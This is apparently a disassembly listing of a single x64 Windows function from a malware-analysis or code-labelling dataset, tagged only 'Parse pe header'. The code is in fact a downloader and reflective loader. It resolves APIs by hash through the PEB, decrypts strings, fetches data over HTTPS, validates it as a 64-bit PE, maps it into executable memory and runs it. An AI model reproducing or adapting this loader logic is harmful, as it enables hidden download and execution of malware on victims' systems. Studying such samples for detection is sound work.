Function at 0x140001710
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x520]
sub rsp, 0x620
mov rax, qword gs:[0x30]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140002063
mov dword [rbp - 0x60], 4
mov rcx, qword [rax + 0x60]
mov qword [rbp - 0x30], rcx
test rcx, rcx
je 0x140002063
mov rax, qword [rcx + 0x18]
mov qword [rbp + 0x78], rax
test rax, rax
je 0x140002063
xor ebx, ebx
lea rdx, [rax + 0x20]
mov dword [rbp + 8], ebx
mov qword [rbp - 0x80], rdx
test rdx, rdx
je 0x140002063
mov rdx, qword [rdx]
lea r8d, [rbx + 0x12]
mov ecx, 0x520fb0a6
mov rdx, qword [rdx + 0x50]
call section..text
mov edx, 0x5d230baf
mov dword [rbp - 0x40], eax
mov r8d, 0xb58dd0e8
lea rcx, [rsp + 0x40]
call fcn.140001040
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140002063
mov edx, 0x1cc5042e
mov r8d, 0x772abe2d
mov rcx, rax
call fcn.1400010d0
mov qword [rbp - 0x38], rax
test rax, rax
je 0x140002063
mov rcx, qword [rsp + 0x58]
mov edx, 0xa9e4fee3
mov r8d, 0x961d15d5
call fcn.1400010d0
mov qword [rbp + 0x48], rax
test rax, rax
je 0x140002063
mov rcx, qword [rsp + 0x58]
mov edx, 0xbfcc5ea7
mov r8d, 0x181753f0
call fcn.1400010d0
mov qword [rbp - 0x20], rax
test rax, rax
je 0x140002070
mov rax, qword [rbp - 0x80]
lea r8d, [rbx + 0x12]
mov ecx, 0xe1a9215a
mov rdx, qword [rax]
mov rdx, qword [rdx + 0x50]
call section..text
mov rcx, qword [rsp + 0x58]
mov edx, 0x5b47324d
mov r8d, 0xf7fb8c29
mov dword [rbp - 0x48], eax
call fcn.1400010d0
mov qword [rbp + 0xc0], rax
test rax, rax
je 0x140002063
mov rcx, qword [rsp + 0x58]
mov edx, 0x35b17dd8
mov r8d, 0x97b6a7d9
call fcn.1400010d0
mov qword [rbp + 0x60], rax
test rax, rax
je 0x140002063
mov rcx, qword [rsp + 0x58]
mov edx, 0x42d40ff1
mov r8d, 0x37c72a45
call fcn.1400010d0
mov qword [rbp + 0xd0], rax
test rax, rax
je 0x140002063
mov rcx, qword [rsp + 0x58]
mov edx, 0x50e45c79
mov r8d, 0xdc9c6311
call fcn.1400010d0
mov qword [rbp], rax
test rax, rax
je 0x140002063
mov rcx, qword [rsp + 0x58]
mov edx, 0x9d7c86cc
mov r8d, 0x4e8202b9
call fcn.1400010d0
mov qword [rbp - 0x28], rax
test rax, rax
je 0x140002063
mov rcx, qword [rsp + 0x58]
mov edx, 0x57efddf6
mov r8d, 0x1eb7af43
call fcn.1400010d0
mov qword [rbp + 0x10], rax
test rax, rax
je 0x140002063
mov rcx, qword [rsp + 0x58]
mov edx, 0x9f33af76
mov r8d, 0xc75f256f
call fcn.1400010d0
mov qword [rbp + 0xa8], rax
test rax, rax
je 0x140002063
mov rcx, qword [rsp + 0x58]
mov edx, 0x46e7ea8a
mov r8d, 0x9fe28a84
call fcn.1400010d0
mov qword [rbp + 0x20], rax
test rax, rax
je 0x140002063
mov rcx, qword [rsp + 0x58]
mov edx, 0x330a56c3
mov r8d, 0xcb84904e
call fcn.1400010d0
mov qword [rsp + 0x68], rax
test rax, rax
je 0x140002063
mov rax, qword [rbp - 0x80]
lea r8d, [rbx + 0x12]
mov ecx, 0xb1f1ee61
mov rdx, qword [rax]
mov rdx, qword [rdx + 0x50]
call section..text
or eax, 1
mov dword [rsp + 0x20], 0x7eb6e9f3
mov edx, 0xb3a8a592
mov dword [rsp + 0x48], eax
mov r9d, 0x4d472494
lea rcx, [rsp + 0x40]
mov r8d, 0x9dcd59bc
call fcn.140001490
lea rcx, [rsp + 0x40]
call fcn.1400016d0
test eax, eax
je 0x140002063
lea rcx, [rbp + 0x68]
call qword [rbp - 0x38]
mov qword [rbp + 0xb0], rax
test rax, rax
je 0x140002063
mov edx, 0x71975185
mov dword [rsp + 0x20], 0x8fa30113
mov r9d, 0x1750cfd9
lea rcx, [rsp + 0x40]
mov r8d, 0xb1e2d38d
call fcn.140001490
lea rcx, [rbp + 0x68]
call qword [rbp - 0x38]
mov qword [rbp + 0x30], rax
test rax, rax
je 0x140002063
lea edx, [rbx + 0x71]
xor ecx, ecx
lea r9d, [rbx + 4]
mov r8d, 0x3000
call qword [rbp + 0x48]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x140002063
mov rcx, qword [rbp + 0xb0]
mov edx, 0x1c64da3c
mov r8d, 0x72ec3a41
call fcn.1400010d0
mov qword [rbp - 0x50], rax
test rax, rax
je 0x140002063
mov rcx, qword [rbp + 0xb0]
mov edx, 0x39968bd1
mov r8d, 0x9eb9114e
call fcn.1400010d0
mov qword [rbp - 0x68], rax
test rax, rax
je 0x140002063
mov qword [rsp + 0x630], rsi
lea rcx, [rsp + 0x40]
mov edx, 0x2f7a52cf
mov qword [rsp + 0x638], rdi
mov r9d, 0xd51f2903
mov dword [rsp + 0x20], 0xa2e076a5
mov r8d, 0x20f2f131
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp + 0x68]
mov ecx, 0x10
mov edx, 0x1018a111
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rbp + 0x30]
mov r8d, 0xd9de77dc
call fcn.1400010d0
mov qword [rbp + 0xe8], rax
test rax, rax
je 0x140002053
mov edx, 0x243acaf3
mov dword [rsp + 0x20], 0xac37512e
mov r9d, 0x89ab457f
lea rcx, [rsp + 0x40]
mov r8d, 0x2883e45e
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp + 0x68]
add rdi, 0x60
mov dword [rsp + 0x20], 0x4b9a1746
mov ecx, 0x10
mov edx, 0x18c4febb
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
mov r9d, 0x73794728
mov r8d, 0xb665fbed
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp + 0x68]
add rdi, 0x30
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rbp + 0xb0]
mov edx, 0x527473a4
mov r8d, 0xacbac06b
call fcn.1400010d0
mov qword [rbp + 0x98], rax
test rax, rax
je 0x140002053
mov edx, 0x9c176b51
mov dword [rsp + 0x20], 0x81896b4a
mov r9d, 0x27b4d4db
lea rcx, [rsp + 0x40]
mov r8d, 0x6dea0243
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp + 0x68]
add rdi, 0x40
lea rdx, [rbp + 0x100]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x104
call qword [rbp - 0x28]
test eax, eax
je 0x140002053
lea rcx, [rbp + 0x100]
call qword [rbp + 0x10]
test eax, eax
je 0x140002053
mov rcx, qword [rbp + 0xb0]
mov edx, 0x5604b5bf
mov r8d, 0x3a7c805d
call fcn.1400010d0
mov qword [rbp - 0x18], rax
test rax, rax
je 0x140002053
mov edx, 0xe96d97dc
mov dword [rsp + 0x20], 0xb891e848
mov r9d, 0x7f9d0940
lea rcx, [rsp + 0x40]
mov r8d, 0xade2ad21
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp + 0x68]
add rdi, 0x10
mov dword [rsp + 0x20], 0x7a478eb8
mov ecx, 0x10
mov edx, 0xe3ff9014
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
mov r9d, 0xa02ac8a2
mov r8d, 0x63fdf1d8
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp + 0x68]
add rdi, 0x20
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rbp + 0xb0]
mov edx, 0xb917ea0f
mov r8d, 0x7e76fb8b
call fcn.1400010d0
mov qword [rbp + 0x88], rax
test rax, rax
je 0x140002053
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea edx, [rbx + 1]
xor ecx, ecx
call qword [rbp - 0x68]
mov qword [rbp + 0xf0], rax
test rax, rax
je 0x140002053
mov rcx, qword [rsp + 0x58]
mov edx, 0x38f94c02
mov r8d, 0x35258d5b
call fcn.1400010d0
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140002053
mov edx, 0xd369d5a5
mov dword [rsp + 0x20], 0x9ca827cd
mov r9d, 0xf35e75cc
lea rcx, [rsp + 0x40]
mov r8d, 0x4c72811d
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp + 0x68]
add rdi, 0x50
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x58]
mov edx, 0x21e45e44
mov r8d, 0x3f6ccf08
call fcn.1400010d0
mov qword [rbp + 0xa0], rax
test rax, rax
je 0x140002053
mov edx, 0xaaaa7232
mov dword [rsp + 0x20], 0xf1933b66
mov r9d, 0x7a40f9c1
lea rcx, [rsp + 0x40]
mov r8d, 0xe9d51df7
call fcn.140001490
mov rdi, qword [rsp + 0x70]
lea rsi, [rbp + 0x68]
add rdi, 0x70
lea rdx, [rbp + 0x310]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
call fcn.140001520
mov rcx, qword [rbp + 0x28]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140002053
mov rdx, qword [rsp + 0x70]
lea r9, [rbp - 0x70]
lea r8d, [rbx + 0x71]
mov qword [rsp + 0x20], rbx
call qword [rbp + 0x60]
test eax, eax
je 0x140002053
mov rcx, qword [rbp + 0x28]
call qword [rsp + 0x50]
xor r9d, r9d
mov dword [rsp + 0x28], 1
lea r8, [rbp + 0x310]
mov qword [rsp + 0x20], rbx
xor edx, edx
xor ecx, ecx
call qword [rbp + 0xe8]
cmp rax, 0x20
jb 0x140002053
mov rcx, qword [rbp + 0xb0]
mov edx, 0x23bb143a
mov r8d, 0xe264dbe9
call fcn.1400010d0
mov qword [rbp - 0x78], rax
test rax, rax
je 0x140002053
mov rcx, qword [rbp + 0xb0]
mov edx, 0xa526691e
mov r8d, 0x2d0c2bb6
call fcn.1400010d0
mov qword [rbp + 0x50], rax
test rax, rax
je 0x140002053
mov edx, 0x15b6d047
mov dword [rsp + 0x20], 0xb0f8913
mov r9d, 0xd171ed88
lea rcx, [rsp + 0x40]
mov r8d, 0x5afa88ff
call fcn.140001490
mov rcx, qword [rbp + 0xf0]
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x38], rbx
mov r8d, 0x1bb
mov dword [rsp + 0x30], ebx
xor r9d, r9d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rbx
call qword [rbp + 0x50]
mov qword [rbp - 0x10], rax
test rax, rax
je 0x140002053
mov edx, 0xc285c08f
mov dword [rsp + 0x20], 0x647e3a16
mov r9d, 0xa6ed50fb
lea rcx, [rsp + 0x40]
mov r8d, 0x67540e5
call fcn.140001490
mov rcx, qword [rbp - 0x10]
lea r8, [rbp + 0x6c]
mov qword [rsp + 0x38], rbx
lea rdx, [rbp + 0x68]
mov dword [rsp + 0x30], 0x80800000
xor r9d, r9d
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [rbp - 0x78]
mov qword [rbp + 0x90], rax
test rax, rax
je 0x140002053
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [rbp + 0x98]
test eax, eax
je 0x140002053
mov rcx, qword [rbp + 0x90]
lea rax, [rbp + 8]
lea r9, [rbp - 0x60]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x38]
mov edx, 0x20000005
call qword [rbp - 0x18]
test eax, eax
je 0x140002053
mov edx, dword [rbp + 0x38]
lea r9d, [rbx + 4]
xor ecx, ecx
mov r8d, 0x3000
call qword [rbp + 0x48]
mov qword [rbp - 0x58], rax
test rax, rax
je 0x140002053
mov r8d, dword [rbp + 0x38]
lea r9, [rbp + 0xd8]
mov rcx, qword [rbp + 0x90]
mov rdx, rax
call qword [rbp - 0x50]
test eax, eax
je 0x140002053
mov eax, dword [rbp + 0x38]
cmp dword [rbp + 0xd8], eax
jne 0x140002053
mov rcx, qword [rbp - 0x10]
call qword [rbp + 0x88]
mov rcx, qword [rbp - 0x58]
mov eax, 0x5a4d
mov qword [rbp + 0x80], rcx
cmp word [rcx], ax
jne 0x140002053
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
mov qword [rbp + 0x40], rcx
cmp dword [rcx], 0x4550
jne 0x140002053
mov eax, 0x8664
cmp word [rcx + 4], ax
jne 0x140002053
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002053
mov edx, dword [rcx + 0x50]
lea r9d, [rbx + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [rbp + 0x48]
mov qword [rbp + 0xb8], rax
test rax, rax
je 0x140002053
mov rcx, qword [rbp + 0xf0]
call qword [rbp + 0x88]
mov rcx, qword [rbp + 0x90]
call qword [rbp + 0x88]
mov rcx, qword [rbp + 0x40]
movzx eax, word [rcx + 0x14]
add rcx, 0x18
add rcx, rax
mov qword [rbp + 0xc8], rcx
lea rcx, [rsp + 0x40]
call fcn.140001200
lea rcx, [rsp + 0x40]
call fcn.140001280
mov rax, qword [rbp + 0x40]
mov rdi, qword [rbp + 0xb8]
mov rsi, qword [rbp - 0x58]
mov ecx, dword [rax + 0x54]
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
call fcn.140001370
lea rcx, [rsp + 0x40]
call fcn.140001420
mov rsi, qword [rsp + 0x630]
mov rdi, qword [rsp + 0x638]
mov rax, qword [rbp - 0x20]
test rax, rax
je 0x140002070
xor ecx, ecx
call rax
mov rbx, qword [rsp + 0x640]
xor eax, eax
add rsp, 0x620
pop rbp
ret